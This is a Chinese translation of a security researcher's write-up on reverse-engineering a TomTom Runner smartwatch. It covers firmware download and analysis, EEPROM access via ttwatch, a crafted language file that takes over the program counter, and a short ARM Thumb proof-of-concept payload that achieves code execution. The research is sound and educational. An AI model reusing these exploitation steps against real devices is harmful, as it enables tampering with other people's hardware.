武漢大學信息安全協會 · 2015/12/07 10:19linux
原文連接:http://grangeia.io/2015/11/09/hacking-tomtom-runner-pt1/ part1 part2 part3json
雖然專業化是不少領域的關鍵所在,可是我我的認爲在信息安全這一領域,過於專業會致使視野狹隘、觀點片面。如今我就想讓本身嘗試那些我不是很喜歡的領域,而這篇文章就是在闡述一個我討厭了好久的東西:嵌入式硬件逆向工程。sass
如今的物聯網設備有不少吸引人的地方:安全
今年有個很明顯的流行詞,物聯網。撇去流行不說,我認爲咱們確實已經到了任何電子設備都會生成數據並分享給全世界的地步。bash
此次咱們來破解這款智能手錶架構
The TomTom Runner編輯器
首先要作的第一件事就是給全部這些設備下載了固件,這些設備的固件一般均可以在廠家官網或者用戶論壇上找到。工具
選擇好了入侵TomTom,接下來就要從一個黑客的角度來研究它了。咱們這裏不要選擇拆這個智能手錶,也不要用JTAG或者Debug pins來進行硬件上的入侵。並且感受TomTom手錶應該會有一些保護措施,這個也應該比較困難。測試
因此,從外部看,我想到了下面這些攻擊途徑:this
要入侵任何一臺設備的第一步都是獲取它的固件包,我是經過看TomTom如何用官方軟件給手錶固件升級實現的。
用Wireshark同時強迫固件升級能夠找到固件的文件目錄:
若是你足夠細心的話,你就會發現這就是一個常規的HTTP頁面,沒有SSL。這點以後還會用到。這裏有不少的文件,可是有用的就只有:
還有一些其餘的文件:設備配置文件,GPS和BLE模塊硬件。這兩個是加密了的文件,不過沒什麼意思。
這個最大的文件0x000000F0(將近400kb),應該是主要的固件包。用binwalk固件分析器打開發現了這些東西:
$ binwalk -BEH 0x000000F0
DECIMAL HEXADECIMAL HEURISTIC ENTROPY ANALYSIS
--------------------------------------------------------------------------------
1024 0x400 High entropy data, best guess: encrypted, size: 470544, 0 low entropy blocks
複製代碼
若是你還想進一步破解的話能夠用vbindiff比較下這兩個不一樣的固件版本:
注意:
這就說明這頗有多是在ECB模式中的某種分組密碼。如今最多見的16字節密碼是AES。
咱們過會兒再對固件分析,如今咱們看看能夠從設備的硬件瞭解到什麼東西。
在不打開這個手錶的狀況下咱們怎樣瞭解它的內部信息呢?基本上全部在美國出售RF發射設備都被FCC測試過了,而後FCC會發表一篇報告,這個報告包含了各類豐富的信息和照片:
上圖包括這些芯片:
這個GPS芯片焊接在方向鍵附近。如今咱們已經對這個設備的內部有了充分的瞭解,咱們就能夠繼續入侵了。
爲了充分理解相關知識,我在ttwatch上找了一個很好的開源軟件,TomTom Windows軟件作的事情它絕大部分均可以作到。
我看了下源碼,實際上不少智能手錶上的USB通訊都只是對EEPROM進行簡單的讀寫指令,同時我也找到了不少智能手錶有趣並且不可記錄的USB指令。其實USB通訊很是簡單,每一個指令都至少包含下面的這些字節:
09 02 01 0E
"09" -> Indicates a command to the watch (preamble)
"02" -> Size of message
"01" -> sequence number. Should increment after each command.
"0E" -> Actual command byte (this one formats the EEPROM)
複製代碼
絕大多數智能手錶接受或者發出指令都要從以前的4MB EEPROM中讀取或寫入。ttwatch已經爲咱們作好了這些,咱們能夠讀,寫並列出這些文件:
#!bash [email protected]:~/usb# ttwatch -l 0x00000030: 16072 0x00810004: 4198 0x00810005: 4136 0x00810009: 3968 0x0081000b: 3980 0x0081000a: 4152 0x0081000e: 3957 0x0081000f: 4156 0x0081000c: 4003 0x00810002: 4115 [...] [email protected]:~/usb# ttwatch -r 0x00f20000 <?xml version="1.0" encoding="UTF-8"?> <preferences version="1" modified="seg set 21 13:34:28 2015"> <ephemerisModified>0</ephemerisModified> <SyncTimeToPC>1</SyncTimeToPC> <SendAnonymousData>1</SendAnonymousData> <WatchWindowMinimized>0</WatchWindowMinimized> <watchName>lgrangeia</watchName> <ConfigURL>https://mysports.tomtom.com/service/config/config.json</ConfigURL> <exporters> </exporters> </preferences> 複製代碼
我在測試中發現若是你對一個以前在download.tomtom.com看到的固件文件進行寫操做,下次你斷開手錶的USB鏈接時,這個手錶會重啓而且刷新文件。
首先,咱們要查看EEPROM中的每個文件,包括日誌文件,給你們看個例子:
上面這個文件代表,設備裏的藍牙芯片有本身的固件,並會在MD5驗證以後顯示出來。
其實我對那些被解析出來的文件很感興趣,由於這些文件容易修改,並且我認爲應該好好利用裏面的漏洞。其中有兩種符合的文件:運動信息文件和語言文件。
運動文件採用二進制格式(ttbin),同時有一些工具,好比ttwatch,把這些文件轉換成其餘格式。不過我仍是選擇放棄運動文件,由於這個智能手錶只能生成文件而不會解析文件:有一個界面會向你展現你最近的跑步狀況,但設備永遠不會打開ttbin文件去讀它。
因此仍是語言文件要有意思的多,讓咱們隨便看看其中一個:
這段數據的結構很是簡單:
在不少狀況下,解析器都沒法對這個文件進行準確的解析,因此我列出了一系列要解決的問題:
這個結構很簡單,因此咱們不須要自動的漏洞檢查工具去檢測。
接下來的事就很簡單了,用電腦上的十六進制編輯器編輯文件,再用ttwatch文件傳輸選擇上傳到設備當中:
#!bash
$ cat 00810003.bin | ttwatch -w 0x00810003
複製代碼
這裏要注意每一個文件都對應不一樣的翻譯。我改變了德語文件,而後斷開設備的USB鏈接,並把設備的語言設置爲德語,最後將上面的問題解決了一些。
當你試圖改變UI語言時這個設備應該會自動重啓,固然別的狀況也會重啓,不過這個仍是有些不一樣,由於在那以後EEPROM(0x00013000)中多了個新文件:
#!bash
$ ttwatch -r 0x00013000
Crashlog - SW ver 1.8.42
R1 = 0x00000000
R2 = 0x00000002
R3 = 0x00000f95
R12 = 0x00000000
LR [R14] = 0x00441939 subroutine call return address
PC [R15] = 0x2001b26c program counter
PSR = 0x41000000
BFAR = 0x010f0040
CFSR = 0x00008200
HFSR = 0x40000000
DFSR = 0x00000000
AFSR = 0x00000000
Batt = 4160 mV
stack hi = 0x000004d4
複製代碼
你沒有看錯!這是崩潰日誌!從這個文件咱們獲得許多有用的東西。好比咱們能夠獲得一些關鍵寄存器的值,包括程序計數器、R0-R三、R十二、一些狀態值 、以及電池電量和堆棧大小。經過重啓以後重複的一些過程,咱們獲得了寄存器的一些相同的值,這意味着這個智能手錶當中沒有使用任何內存隨機化的手段。
接着是許多數據表和ARM文檔。很快我就從中瞭解到一個最重要的信息,那就是執行流程從閃存ROM到了ARM區域。這能夠從PC(程序計數器)的值中看出。它的值就是保存在RAM中的內存區域。請注意下面這張來自Atmel的數據表:
由於某種緣由,執行從ROM區域跳到了咱們裝載語言文件區域附近的SRAM,起始地址是0x20000000。若是咱們可以控制好咱們語言文件的位置或者從正確的方向「推進」程序計數器,咱們就能本身控制跳躍到內存區域。
通過一些改動以後,我注意到有兩個不一樣類型的崩潰:第一個是在我選擇非法語言文件的時候,第二個是在我從菜單中滾動語言的時候。第二個確實也會致使重啓。彷佛無論你有沒有選擇,語言文件都會載入到RAM中。這也給了我另外一個想法:我能夠改變其餘語言文件的內容,看看這是否會對寄存器產生某種影響。
我改變了全部字母B(ASCII碼0x42)的語言列表中的下一個語言文件,沒有改變sbuf_size的value並把num_strings設置爲零。以前的語言文件仍然有6001比特大小的sbuf_size。接着我重啓了手表,進入語言菜單滾動了下語言。接着手錶崩潰了:
Crashlog - SW ver 1.8.42
R0 = 0x2001b088
R1 = 0x42424242
R2 = 0x00000002
R3 = 0x00000f95
R12 = 0x00000000
LR [R14] = 0x00441939 subroutine call return address
PC [R15] = 0x42424242 program counter
PSR = 0x60000000
BFAR = 0xe000ed38
CFSR = 0x00000001
HFSR = 0x40000000
DFSR = 0x00000000
AFSR = 0x00000000
Batt = 4190 mV
stack hi = 0x000004d4
複製代碼
看到了麼,咱們可以控制進入程序計數器的東西!不知怎麼的,執行流程跳到了咱們控制的地址,也就是說咱們能夠執行轉移到內存的任何一個地方了,這也就表明着咱們能夠在TomTom中執行任意代碼了。
好的,咱們如今已經知道如何轉移到內存中的任何一個地方了,在一個普通的操做系統中,有不少咱們能夠作的事情:系統調用、標準庫調用等等。但這個設備就沒這麼好了。
首先咱們驗證下簡單的payload的執行,payload構造能夠在彙編中完成。下面是個人第一次嘗試:
.syntax unified
.thumb
mov r2, #0x13
mov r3, #0x37
add r1, r3, r2, lsl #8
mov r0, #0
bx r0
複製代碼
注意必定要指定Thumb指令,由於Cortex-M4只會在Thumb模式下運行。代碼的 最後兩行跳到了地址0x00000000,這樣每次都會致使崩潰,由於ARM處理器會根據bx jump的指令地址最後的標誌位選擇使用ARM指令仍是Thumb指令。如今最低位是0,因此咱們使用的是ARM指令。而就像前面剛說的那樣,ARM ortex-M4只支持Thumb,因此出錯了。
咱們能夠用交叉編譯器工具在一個非ARM Linux系統中解決這個問題。就像這樣:
#!bash
$ arm-none-eabi-as -mcpu=cortex-m4 -o first.o first.s
複製代碼
這是編譯好的代碼,用objdump反編譯:
#!bash
$ arm-linux-gnueabi-objdump -d first.o
first.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <.text>:
0: f04f 0213 mov.w r2, #19
4: f04f 0337 mov.w r3, #55 ; 0x37
8: eb03 2102 add.w r1, r3, r2, lsl #8
c: f04f 0000 mov.w r0, #0
10: 4700 bx r0
複製代碼
接下來要作的,是把這個payload放到設備中。咱們把這個放到德語文件,而後把用於jump指令的指針(第二個文件中的第四雙字)指向它。
下面這張圖片是在第二個文件(0x00810003)設置的全部內容:
第四個雙字很明顯指向咱們的payload,而後我把文件裝載到了手錶中,像以前那樣經過選擇語言執行跳轉。在又一次崩潰以後,咱們獲得了這樣的的崩潰日誌(請注意第一、二、3行):
Crashlog - SW ver 1.8.42
R0 = 0x00000000
R1 = 0x00001337
R2 = 0x00000013
R3 = 0x00000037
R12 = 0x00000000
LR [R14] = 0x00441939 subroutine call return address
PC [R15] = 0x00000000 program counter
PSR = 0x20000000
BFAR = 0xe000ed38
CFSR = 0x00020000
HFSR = 0x40000000
DFSR = 0x00000000
AFSR = 0x00000000
Batt = 4192 mV
stack hi = 0x000004d4
複製代碼
如上圖所示,咱們如今就能夠在一個在物聯網設備的封閉固件中進行任意的代碼執行了!